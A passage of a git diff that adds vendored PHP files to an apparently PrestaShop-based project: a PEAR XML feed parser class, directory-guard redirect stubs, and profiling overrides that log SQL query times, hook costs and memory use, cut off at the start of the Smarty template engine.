$array; + } + return false; + } +} + +?> \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser/Type.php b/tools/pear_xml_parser/Parser/Type.php new file mode 100755 index 0000000..1564945 --- /dev/null +++ b/tools/pear_xml_parser/Parser/Type.php @@ -0,0 +1,475 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: Type.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This abstract class provides some general methods that are likely to be + * implemented exactly the same way for all feed types. + * + * @package XML_Feed_Parser + * @author James Stewart + * @version Release: @package_version@ + */ +abstract class XML_Feed_Parser_Type +{ + /** + * Where we store our DOM object for this feed + * @var DOMDocument + */ + public $model; + + /** + * For iteration we'll want a count of the number of entries + * @var int + */ + public $numberEntries; + + /** + * Where we store our entry objects once instantiated + * @var array + */ + public $entries = array(); + + /** + * Store mappings between entry IDs and their position in the feed + */ + public $idMappings = array(); + + /** + * Proxy to allow use of element names as method names + * + * We are not going to provide methods for every entry type so this + * function will allow for a lot of mapping. We rely pretty heavily + * on this to handle our mappings between other feed types and atom. + * + * @param string $call - the method attempted + * @param array $arguments - arguments to that method + * @return mixed + */ + function __call($call, $arguments = array()) + { + if (! is_array($arguments)) { + $arguments = array(); + } + + if (isset($this->compatMap[$call])) { + $tempMap = $this->compatMap; + $tempcall = array_pop($tempMap[$call]); + if (! empty($tempMap)) { + $arguments = array_merge($arguments, $tempMap[$call]); + } + $call = $tempcall; + } + + /* To be helpful, we allow a case-insensitive search for this method */ + if (! isset($this->map[$call])) { + foreach (array_keys($this->map) as $key) { + if (strtoupper($key) == strtoupper($call)) { + $call = $key; + break; + } + } + } + + if (empty($this->map[$call])) { + return false; + } + + $method = 'get' . $this->map[$call][0]; + if ($method == 'getLink') { + $offset = empty($arguments[0]) ? 0 : $arguments[0]; + $attribute = empty($arguments[1]) ? 'href' : $arguments[1]; + $params = isset($arguments[2]) ? $arguments[2] : array(); + return $this->getLink($offset, $attribute, $params); + } + if (method_exists($this, $method)) { + return $this->$method($call, $arguments); + } + + return false; + } + + /** + * Proxy to allow use of element names as attribute names + * + * For many elements variable-style access will be desirable. This function + * provides for that. + * + * @param string $value - the variable required + * @return mixed + */ + function __get($value) + { + return $this->__call($value, array()); + } + + /** + * Utility function to help us resolve xml:base values + * + * We have other methods which will traverse the DOM and work out the different + * xml:base declarations we need to be aware of. We then need to combine them. + * If a declaration starts with a protocol then we restart the string. If it + * starts with a / then we add on to the domain name. Otherwise we simply tag + * it on to the end. + * + * @param string $base - the base to add the link to + * @param string $link + */ + function combineBases($base, $link) + { + if (preg_match('/^[A-Za-z]+:\/\//', $link)) { + return $link; + } else if (preg_match('/^\//', $link)) { + /* Extract domain and suffix link to that */ + preg_match('/^([A-Za-z]+:\/\/.*)?\/*/', $base, $results); + $firstLayer = $results[0]; + return $firstLayer . "/" . $link; + } else if (preg_match('/^\.\.\//', $base)) { + /* Step up link to find place to be */ + preg_match('/^((\.\.\/)+)(.*)$/', $link, $bases); + $suffix = $bases[3]; + $count = preg_match_all('/\.\.\//', $bases[1], $steps); + $url = explode("/", $base); + for ($i = 0; $i <= $count; $i++) { + array_pop($url); + } + return implode("/", $url) . "/" . $suffix; + } else if (preg_match('/^(?!\/$)/', $base)) { + $base = preg_replace('/(.*\/).*$/', '$1', $base) ; + return $base . $link; + } else { + /* Just stick it on the end */ + return $base . $link; + } + } + + /** + * Determine whether we need to apply our xml:base rules + * + * Gets us the xml:base data and then processes that with regard + * to our current link. + * + * @param string + * @param DOMElement + * @return string + */ + function addBase($link, $element) + { + if (preg_match('/^[A-Za-z]+:\/\//', $link)) { + return $link; + } + + return $this->combineBases($element->baseURI, $link); + } + + /** + * Get an entry by its position in the feed, starting from zero + * + * As well as allowing the items to be iterated over we want to allow + * users to be able to access a specific entry. This is one of two ways of + * doing that, the other being by ID. + * + * @param int $offset + * @return XML_Feed_Parser_RSS1Element + */ + function getEntryByOffset($offset) + { + if (! isset($this->entries[$offset])) { + $entries = $this->model->getElementsByTagName($this->itemElement); + if ($entries->length > $offset) { + $xmlBase = $entries->item($offset)->baseURI; + $this->entries[$offset] = new $this->itemClass( + $entries->item($offset), $this, $xmlBase); + if ($id = $this->entries[$offset]->id) { + $this->idMappings[$id] = $this->entries[$offset]; + } + } else { + throw new XML_Feed_Parser_Exception('No entries found'); + } + } + + return $this->entries[$offset]; + } + + /** + * Return a date in seconds since epoch. + * + * Get a date construct. We use PHP's strtotime to return it as a unix datetime, which + * is the number of seconds since 1970-01-01 00:00:00. + * + * @link http://php.net/strtotime + * @param string $method The name of the date construct we want + * @param array $arguments Included for compatibility with our __call usage + * @return int|false datetime + */ + protected function getDate($method, $arguments) + { + $time = $this->model->getElementsByTagName($method); + if ($time->length == 0 || empty($time->item(0)->nodeValue)) { + return false; + } + return strtotime($time->item(0)->nodeValue); + } + + /** + * Get a text construct. + * + * @param string $method The name of the text construct we want + * @param array $arguments Included for compatibility with our __call usage + * @return string + */ + protected function getText($method, $arguments = array()) + { + $tags = $this->model->getElementsByTagName($method); + if ($tags->length > 0) { + $value = $tags->item(0)->nodeValue; + return $value; + } + return false; + } + + /** + * Apply various rules to retrieve category data. + * + * There is no single way of declaring a category in RSS1/1.1 as there is in RSS2 + * and Atom. Instead the usual approach is to use the dublin core namespace to + * declare categories. For example delicious use both: + * PEAR and: + * + * to declare a categorisation of 'PEAR'. + * + * We need to be sensitive to this where possible. + * + * @param string $call for compatibility with our overloading + * @param array $arguments - arg 0 is the offset, arg 1 is whether to return as array + * @return string|array|false + */ + protected function getCategory($call, $arguments) + { + $categories = $this->model->getElementsByTagName('subject'); + $offset = empty($arguments[0]) ? 0 : $arguments[0]; + $array = empty($arguments[1]) ? false : true; + if ($categories->length <= $offset) { + return false; + } + if ($array) { + $list = array(); + foreach ($categories as $category) { + array_push($list, $category->nodeValue); + } + return $list; + } + return $categories->item($offset)->nodeValue; + } + + /** + * Count occurrences of an element + * + * This function will tell us how many times the element $type + * appears at this level of the feed. + * + * @param string $type the element we want to get a count of + * @return int + */ + protected function count($type) + { + if ($tags = $this->model->getElementsByTagName($type)) { + return $tags->length; + } + return 0; + } + + /** + * Part of our xml:base processing code + * + * We need a couple of methods to access XHTML content stored in feeds. + * This is because we dereference all xml:base references before returning + * the element. This method handles the attributes. + * + * @param DOMElement $node The DOM node we are iterating over + * @return string + */ + function processXHTMLAttributes($node) { + $return = ''; + foreach ($node->attributes as $attribute) { + if ($attribute->name == 'src' or $attribute->name == 'href') { + $attribute->value = $this->addBase(htmlentities($attribute->value, NULL, 'utf-8'), $attribute); + } + if ($attribute->name == 'base') { + continue; + } + $return .= $attribute->name . '="' . htmlentities($attribute->value, NULL, 'utf-8') .'" '; + } + if (! empty($return)) { + return ' ' . trim($return); + } + return ''; + } + + /** + * Convert HTML entities based on the current character set. + * + * @param String + * @return String + */ + function processEntitiesForNodeValue($node) + { + if (function_exists('iconv')) { + $current_encoding = $node->ownerDocument->encoding; + $value = iconv($current_encoding, 'UTF-8', $node->nodeValue); + } else if ($current_encoding == 'iso-8859-1') { + $value = utf8_encode($node->nodeValue); + } else { + $value = $node->nodeValue; + } + + $decoded = html_entity_decode($value, NULL, 'UTF-8'); + return htmlentities($decoded, NULL, 'UTF-8'); + } + + /** + * Part of our xml:base processing code + * + * We need a couple of methods to access XHTML content stored in feeds. + * This is because we dereference all xml:base references before returning + * the element. This method recurs through the tree descending from the node + * and builds our string. + * + * @param DOMElement $node The DOM node we are processing + * @return string + */ + function traverseNode($node) + { + $content = ''; + + /* Add the opening of this node to the content */ + if ($node instanceof DOMElement) { + $content .= '<' . $node->tagName . + $this->processXHTMLAttributes($node) . '>'; + } + + /* Process children */ + if ($node->hasChildNodes()) { + foreach ($node->childNodes as $child) { + $content .= $this->traverseNode($child); + } + } + + if ($node instanceof DOMText) { + $content .= $this->processEntitiesForNodeValue($node); + } + + /* Add the closing of this node to the content */ + if ($node instanceof DOMElement) { + $content .= 'tagName . '>'; + } + + return $content; + } + + /** + * Get content from RSS feeds (atom has its own implementation) + * + * The official way to include full content in an RSS1 entry is to use + * the content module's element 'encoded', and RSS2 feeds often duplicate that. + * Often, however, the 'description' element is used instead. We will offer that + * as a fallback. Atom uses its own approach and overrides this method. + * + * @return string|false + */ + protected function getContent() + { + $options = array('encoded', 'description'); + foreach ($options as $element) { + $test = $this->model->getElementsByTagName($element); + if ($test->length == 0) { + continue; + } + if ($test->item(0)->hasChildNodes()) { + $value = ''; + foreach ($test->item(0)->childNodes as $child) { + if ($child instanceof DOMText) { + $value .= $child->nodeValue; + } else { + $simple = simplexml_import_dom($child); + $value .= $simple->asXML(); + } + } + return $value; + } else if ($test->length > 0) { + return $test->item(0)->nodeValue; + } + } + return false; + } + + /** + * Checks if this element has a particular child element. + * + * @param String + * @param Integer + * @return bool + **/ + function hasKey($name, $offset = 0) + { + $search = $this->model->getElementsByTagName($name); + return $search->length > $offset; + } + + /** + * Return an XML serialization of the feed, should it be required. Most + * users however, will already have a serialization that they used when + * instantiating the object. + * + * @return string XML serialization of element + */ + function __toString() + { + $simple = simplexml_import_dom($this->model); + return $simple->asXML(); + } + + /** + * Get directory holding RNG schemas. Method is based on that + * found in Contact_AddressBook. + * + * @return string PEAR data directory. + * @access public + * @static + */ + static function getSchemaDir() + { + require_once 'PEAR/Config.php'; + $config = new PEAR_Config; + return $config->get('data_dir') . '/XML_Feed_Parser/schemas'; + } + + public function relaxNGValidate() { + $dir = self::getSchemaDir(); + + $path = $dir . '/' . $this->relax; + + return $this->model->relaxNGValidate($path); +} +} + +?> diff --git a/tools/pear_xml_parser/Parser/index.php b/tools/pear_xml_parser/Parser/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/pear_xml_parser/Parser/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/pear_xml_parser/index.php b/tools/pear_xml_parser/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/pear_xml_parser/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/profiling/Controller.php b/tools/profiling/Controller.php new file mode 100755 index 0000000..16aec04 --- /dev/null +++ b/tools/profiling/Controller.php @@ -0,0 +1,460 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// +// IMPORTANT : don't forget to delete the underscore _ in the file name if you want to use it ! +// + +function developpementErrorHandler($errno, $errstr, $errfile, $errline) +{ + if (!(error_reporting() & $errno)) + return; + switch($errno) + { + case E_ERROR: + echo '[PHP Error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_WARNING: + echo '[PHP Warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_PARSE: + echo '[PHP Parse #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_NOTICE: + echo '[PHP Notice #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_CORE_ERROR: + echo '[PHP Core #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_CORE_WARNING: + echo '[PHP Core warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_COMPILE_ERROR: + echo '[PHP Compile #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_COMPILE_WARNING: + echo '[PHP Compile warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_USER_ERROR: + echo '[PHP Error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_USER_WARNING: + echo '[PHP User warning #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_USER_NOTICE: + echo '[PHP User notice #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_STRICT: + echo '[PHP Strict #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + case E_RECOVERABLE_ERROR: + echo '[PHP Recoverable error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + break; + default: + echo '[PHP Unknown error #'.$errno.'] '.$errstr.' ('.$errfile.', line '.$errline.')'; + } + die; + return true; +} + +abstract class Controller extends ControllerCore +{ + public $_memory = array(); + public $_time = array(); + private static $_footer = true; + + public static function disableParentCalls() + { + self::$_footer = false; + } + + private function displayMemoryColor($n) + { + $n /= 1048576; + if ($n > 3) + return ''.round($n, 2).' Mb'; + if ($n > 1) + return ''.round($n, 2).' Mb'; + return ''.round($n, 2).' Mb'; + } + + private function displaySQLQueries($n) + { + if ($n > 150) + return ''.$n.' queries'; + if ($n > 100) + return ''.$n.' queries'; + return ''.$n.' quer'.($n == 1 ? 'y' : 'ies').''; + } + + private function displayRowsBrowsed($n) + { + if ($n > 200) + return ''.$n.' rows browsed'; + if ($n > 50) + return ''.$n.' rows browsed'; + return ''.$n.' row'.($n == 1 ? '' : 's').' browsed'; + } + + private function displayLoadTimeColor($n, $kikoo = false) + { + if ($n > 1) + return ''.round($n, 3).'s'.($kikoo ? '
        You\'d better run your shop on a toaster' : ''); + if ($n > 0.5) + return ''.round($n * 1000).'ms'.($kikoo ? '
        I hope it is a shared hosting' : ''); + return ''.round($n * 1000).'ms'.($kikoo ? '
        Good boy! That\'s what I call a webserver!' : ''); + } + + private function getTimeColor($n) + { + if ($n > 4) + return 'style="color:red"'; + if ($n > 2) + return 'style="color:orange"'; + return 'style="color:green"'; + } + + private function getQueryColor($n) + { + if ($n > 5) + return 'style="color:red"'; + if ($n > 2) + return 'style="color:orange"'; + return 'style="color:green"'; + } + + private function getTableColor($n) + { + if ($n > 30) + return 'style="color:red"'; + if ($n > 20) + return 'style="color:orange"'; + return 'style="color:green"'; + } + + private function getObjectModelColor($n) + { + if ($n > 50) + return 'style="color:red"'; + if ($n > 10) + return 'style="color:orange"'; + return 'style="color:green"'; + } + + public function __construct() + { + parent::__construct(); + + // error management + set_error_handler('developpementErrorHandler'); + ini_set('html_errors', 'on'); + ini_set('display_errors', 'on'); + error_reporting(E_ALL | E_STRICT); + + if (!self::$_footer) + return; + + $this->_memory['config'] = memory_get_usage(); + $this->_time['config'] = microtime(true); + + parent::__construct(); + $this->_memory['constructor'] = memory_get_usage(); + $this->_time['constructor'] = microtime(true); + } + + public function run() + { + $this->init(); + $this->_memory['init'] = memory_get_usage(); + $this->_time['init'] = microtime(true); + + if ($this->checkAccess()) + { + $this->_memory['checkAccess'] = memory_get_usage(); + $this->_time['checkAccess'] = microtime(true); + + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->setMedia(); + $this->_memory['setMedia'] = memory_get_usage(); + $this->_time['setMedia'] = microtime(true); + + // postProcess handles ajaxProcess + $this->postProcess(); + $this->_memory['postProcess'] = memory_get_usage(); + $this->_time['postProcess'] = microtime(true); + + if (!empty($this->redirect_after)) + $this->redirect(); + + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->initHeader(); + $this->_memory['initHeader'] = memory_get_usage(); + $this->_time['initHeader'] = microtime(true); + + $this->initContent(); + $this->_memory['initContent'] = memory_get_usage(); + $this->_time['initContent'] = microtime(true); + + if (!$this->content_only && ($this->display_footer || (isset($this->className) && $this->className))) + $this->initFooter(); + $this->_memory['initFooter'] = memory_get_usage(); + $this->_time['initFooter'] = microtime(true); + + // default behavior for ajax process is to use $_POST[action] or $_GET[action] + // then using displayAjax[action] + if ($this->ajax) + { + $action = Tools::getValue('action'); + if (!empty($action) && method_exists($this, 'displayAjax'.Tools::toCamelCase($action))) + $this->{'displayAjax'.$action}(); + elseif (method_exists($this, 'displayAjax')) + $this->displayAjax(); + } + else + $this->displayDebug(); + } + else + { + $this->initCursedPage(); + $this->displayDebug(); + } + } + + function ini_get_display_errors() + { + $a = 'display_errors'; + $b = ini_get($a); + switch (strtolower($b)) + { + case 'on': + case 'yes': + case 'true': + return 'assert.active' !== $a; + case 'stdout': + case 'stderr': + return 'display_errors' === $a; + default: + return (bool)(int)$b; + } + } + + private function sizeofvar($var) + { + $start_memory = memory_get_usage(); + $tmp = Tools::unSerialize(serialize($var)); + $size = memory_get_usage() - $start_memory; + return $size; + } + + public function displayDebug() + { + global $start_time; + + $this->display(); + $this->_memory['display'] = memory_get_usage(); + $this->_time['display'] = microtime(true); + + if (!$this->ini_get_display_errors()) + return; + + $hr = '
        '; + + $totalSize = 0; + foreach (get_included_files() as $file) + $totalSize += filesize($file); + + $totalQueryTime = 0; + foreach (Db::getInstance()->queries as $data) + $totalQueryTime += $data['time']; + + $hooktime = Hook::getHookTime(); + arsort($hooktime); + $totalHookTime = 0; + foreach ($hooktime as $time) + $totalHookTime += $time; + + $hookMemoryUsage = Hook::getHookMemoryUsage(); + arsort($hookMemoryUsage); + $totalHookMemoryUsage = 0; + foreach ($hookMemoryUsage as $usage) + $totalHookMemoryUsage += $usage; + + $globalSize = array(); + $totalGlobalSize = 0; + foreach ($GLOBALS as $key => $value) + if ($key != 'GLOBALS') + { + $totalGlobalSize += ($size = $this->sizeofvar($value)); + if ($size > 1024) + $globalSize[$key] = round($size / 1024, 1); + } + arsort($globalSize); + + $cache = Cache::retrieveAll(); + $totalCacheSize = $this->sizeofvar($cache); + + echo '

        +
        + Load time: '.$this->displayLoadTimeColor($this->_time['display'] - $start_time, true).''; + if (self::$_footer) + echo '
          '; + $last_time = $start_time; + foreach ($this->_time as $k => $time) + { + echo '
        • '.$k.': '.$this->displayLoadTimeColor($time - $last_time).'
        • '; + $last_time = $time; + } + echo '
        '; + echo '
        +
        + Hook processing: '.$this->displayLoadTimeColor($totalHookTime).' / '.$this->displayMemoryColor($totalHookMemoryUsage).' +
          '; + foreach ($hooktime as $hook => $time) + echo '
        • '.$hook.': '.$this->displayLoadTimeColor($time).' / '.$this->displayMemoryColor($hookMemoryUsage[$hook]).'
        • '; + echo '
        +
        +
        + Memory peak usage: '.$this->displayMemoryColor(memory_get_peak_usage()); + if (self::$_footer) + { + echo '
          '; + $last_memory = 0; + foreach ($this->_memory as $k => $memory) + { + echo '
        • '.$k.': '.$this->displayMemoryColor($memory - $last_memory).'
        • '; + $last_memory = $memory; + } + echo '
        '; + } + echo '

        + Total cache size (in Cache class): '.$this->displayMemoryColor($totalCacheSize).' +
        '; + echo '
        '; + + echo ' +
        + DB type: '.get_class(Db::getInstance()).' +
        SQL Queries: '.$this->displaySQLQueries(count(Db::getInstance()->queries)).' +
        Time spent querying: '.$this->displayLoadTimeColor($totalQueryTime).' +
        +
        + Included files: '.sizeof(get_included_files()).'
        + Size of included files: '.$this->displayMemoryColor($totalSize).' +
        +
        + Globals (> 1 Ko only): '.round($totalGlobalSize / 1024).' Ko +
          '; + foreach ($globalSize as $global => $size) + echo '
        • '.$global.' ≈ '.$size.' Ko
        • '; + echo '
        +
        '; + + echo ' +
        + +
        +
        +

        Stopwatch (with SQL_NO_CACHE) (total = '.count(Db::getInstance()->queries).')

        '; + $queries = Db::getInstance()->queries; + uasort($queries, 'prestashop_querytime_sort'); + foreach ($queries as $data) + { + echo $hr.'getTimeColor($data['time'] * 1000).'>'.round($data['time'] * 1000, 3).' ms '.htmlspecialchars($data['query'], ENT_NOQUOTES, 'utf-8', false).'
        in '.$data['file'].':'.$data['line'].'
        '; + if (preg_match('/^\s*select\s+/i', $data['query'])) + { + $explain = Db::getInstance()->executeS('explain '.$data['query']); + if (stristr($explain[0]['Extra'], 'filesort')) + echo 'getTimeColor($data['time'] * 1000).'>USING FILESORT - '; + $browsed_rows = 1; + foreach ($explain as $row) + $browsed_rows *= $row['rows']; + echo $this->displayRowsBrowsed($browsed_rows); + if (stristr($data['query'], 'group by') && !preg_match('/(avg|count|min|max|group_concat|sum)\s*\(/i', $data['query'])) + echo '
        Useless GROUP BY need to be removed'; + } + } + echo '
        +
        +

        Doubles (IDs replaced by "XX") (total = '.count(Db::getInstance()->uniqQueries).')

        '; + $queries = Db::getInstance()->uniqQueries; + arsort($queries); + foreach ($queries as $q => $nb) + echo $hr.'getQueryColor($nb).'>'.$nb.' '.$q; + echo '
        +
        +

        Tables stress

        '; + $tables = Db::getInstance()->tables; + arsort($tables); + foreach ($tables as $table => $nb) + echo $hr.'getTableColor($nb).'>'.$nb.' '.$table; + echo '
        '; + + if (isset(ObjectModel::$debug_list)) + { + echo '
        +

        ObjectModel instances

        '; + $list = ObjectModel::$debug_list; + uasort($list, create_function('$a,$b', 'return (count($a) < count($b)) ? 1 : -1;')); + $i = 0; + foreach ($list as $class => $info) + { + echo $hr.'getObjectModelColor(count($info)).'>'.count($info).' '; + echo ''.$class.''; + echo ''; + $i++; + } + echo '
        '; + } + + // List of included files + echo '
        +

        Included files

        '; + $i = 1; + foreach (get_included_files() as $file) + { + $file = ltrim(str_replace('\\', '/', str_replace(_PS_ROOT_DIR_, '', $file)), '/'); + $file = ''.dirname($file).'/'.basename($file).''; + echo $i.' '.$file.'
        '; + $i++; + } + echo '
        '; + } +} + +function prestashop_querytime_sort($a, $b) +{ + if ($a['time'] == $b['time']) + return 0; + return ($a['time'] > $b['time']) ? -1 : 1; +} diff --git a/tools/profiling/Db.php b/tools/profiling/Db.php new file mode 100755 index 0000000..77f8b09 --- /dev/null +++ b/tools/profiling/Db.php @@ -0,0 +1,121 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class Db extends DbCore +{ + /** + * Add SQL_NO_CACHE in SELECT queries + * + * @var unknown_type + */ + public $disableCache = true; + + /** + * Total of queries + * + * @var int + */ + public $count = 0; + + /** + * List of queries + * + * @var array + */ + public $queries = array(); + + /** + * List of uniq queries (replace numbers by XX) + * + * @var array + */ + public $uniqQueries = array(); + + /** + * List of tables + * + * @var array + */ + public $tables = array(); + + /** + * Execute the query and log some informations + * + * @see DbCore::query() + */ + public function query($sql) + { + $explain = false; + if (preg_match('/^\s*explain\s+/i', $sql)) + $explain = true; + + if (!$explain) + { + $uniqSql = preg_replace('/[0-9]+/', 'XX', $sql); + if (!isset($this->uniqQueries[$uniqSql])) + $this->uniqQueries[$uniqSql] = 0; + $this->uniqQueries[$uniqSql]++; + + // No cache for query + if ($this->disableCache) + $sql = preg_replace('/^\s*select\s+/i', 'SELECT SQL_NO_CACHE ', trim($sql)); + + // Get tables in quer + preg_match_all('/(from|join)\s+`?'._DB_PREFIX_.'([a-z0-9_-]+)/ui', $sql, $matches); + foreach ($matches[2] as $table) + { + if (!isset($this->tables[$table])) + $this->tables[$table] = 0; + $this->tables[$table]++; + } + + // Execute query + $start = microtime(true); + } + + $result = parent::query($sql); + + if (!$explain) + { + $end = microtime(true); + + // Save details + $timeSpent = $end - $start; + $trace = debug_backtrace(false); + while (preg_match('@[/\\\\]classes[/\\\\]db[/\\\\]@i', $trace[0]['file'])) + array_shift($trace); + + $this->queries[] = array( + 'query' => $sql, + 'time' => $timeSpent, + 'file' => $trace[0]['file'], + 'line' => $trace[0]['line'], + ); + } + + return $result; + } +} \ No newline at end of file diff --git a/tools/profiling/Hook.php b/tools/profiling/Hook.php new file mode 100755 index 0000000..b5da985 --- /dev/null +++ b/tools/profiling/Hook.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// +// IMPORTANT : don't forget to delete the underscore _ in the file name if you want to use it ! +// + +class Hook extends HookCore +{ + private static $hookTime = array(); + private static $hookMemoryUsage = array(); + + public static function getHookTime() + { + return self::$hookTime; + } + + public static function getHookMemoryUsage() + { + return self::$hookMemoryUsage; + } + + public static function exec($hook_name, $hook_args = array(), $id_module = null, $array_return = false, $check_exceptions = true) + { + $memoryUsage = memory_get_usage(); + $t0 = microtime(true); + $result = parent::exec($hook_name, $hook_args, $id_module, $array_return, $check_exceptions); + self::$hookTime[$hook_name] = microtime(true) - $t0; + self::$hookMemoryUsage[$hook_name] = memory_get_usage() - $memoryUsage; + return $result; + } +} diff --git a/tools/profiling/ObjectModel.php b/tools/profiling/ObjectModel.php new file mode 100755 index 0000000..fe80322 --- /dev/null +++ b/tools/profiling/ObjectModel.php @@ -0,0 +1,56 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// +// IMPORTANT : don't forget to delete the underscore _ in the file name if you want to use it ! +// + +abstract class ObjectModel extends ObjectModelCore +{ + public static $debug_list = array(); + + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id, $id_lang, $id_shop); + + $classname = get_class($this); + if (!isset(self::$debug_list[$classname])) + self::$debug_list[$classname] = array(); + + $class_list = array('ObjectModel', 'ObjectModelCore', $classname, $classname.'Core'); + $backtrace = debug_backtrace(); + foreach ($backtrace as $trace_id => $row) + if (!isset($backtrace[$trace_id]['class']) || !in_array($backtrace[$trace_id]['class'], $class_list)) + break; + $trace_id--; + + self::$debug_list[$classname][] = array( + 'file' => @$backtrace[$trace_id]['file'], + 'line' => @$backtrace[$trace_id]['line'], + ); + } +} + diff --git a/tools/profiling/Tools.php b/tools/profiling/Tools.php new file mode 100755 index 0000000..a180a73 --- /dev/null +++ b/tools/profiling/Tools.php @@ -0,0 +1,92 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Tools extends ToolsCore +{ + public static function redirect($url, $base_uri = __PS_BASE_URI__, Link $link = null, $headers = null) + { + if (!$link) + $link = Context::getContext()->link; + + if (strpos($url, 'http://') === false && strpos($url, 'https://') === false && $link) + { + if (strpos($url, $base_uri) === 0) + $url = substr($url, strlen($base_uri)); + if (strpos($url, 'index.php?controller=') !== false && strpos($url, 'index.php/') == 0) + { + $url = substr($url, strlen('index.php?controller=')); + if (Configuration::get('PS_REWRITING_SETTINGS')) + $url = Tools::strReplaceFirst('&', '?', $url); + } + + $explode = explode('?', $url); + // don't use ssl if url is home page + // used when logout for example + $use_ssl = !empty($url); + $url = $link->getPageLink($explode[0], $use_ssl); + if (isset($explode[1])) + $url .= '?'.$explode[1]; + } + + // Send additional headers + if ($headers) + { + if (!is_array($headers)) + $headers = array($headers); + + foreach ($headers as $header) + header($header); + } + + header('Refresh: 5; url='.$url); + echo '

        Redirection automatique dans 5 secondes

        '.$url.''; + exit; + } + + public static function redirectLink($url) + { + if (!preg_match('@^https?://@i', $url)) + { + if (strpos($url, __PS_BASE_URI__) !== FALSE && strpos($url, __PS_BASE_URI__) == 0) + $url = substr($url, strlen(__PS_BASE_URI__)); + $explode = explode('?', $url); + $url = Context::getContext()->link->getPageLink($explode[0]); + if (isset($explode[1])) + $url .= '?'.$explode[1]; + } + + header('Refresh: 5; url='.$url); + echo '

        Redirection automatique dans 5 secondes

        '.$url.''; + exit; + } + + public static function redirectAdmin($url) + { + header('Refresh: 5; url='.$url); + echo '

        Redirection automatique dans 5 secondes

        '.$url.''; + exit; + } +} \ No newline at end of file diff --git a/tools/profiling/index.php b/tools/profiling/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/profiling/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/smarty/Smarty.class.php b/tools/smarty/Smarty.class.php new file mode 100755 index 0000000..40532fc --- /dev/null +++ b/tools/smarty/Smarty.class.php @@ -0,0 +1,1528 @@ + + * @author Uwe Tews + * @author Rodney Rehm + * @package Smarty + * @version 3.1.13 + */ + +/** + * define shorthand directory separator constant + */ +if (!defined('DS')) { + define('DS', DIRECTORY_SEPARATOR); +} + +/** + * set SMARTY_DIR to absolute path to Smarty library files. + * Sets SMARTY_DIR only if user application has not already defined it. + */ +if (!defined('SMARTY_DIR')) { + define('SMARTY_DIR', dirname(__FILE__) . DS); +} + +/** + * set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins. + * Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it. + */ +if 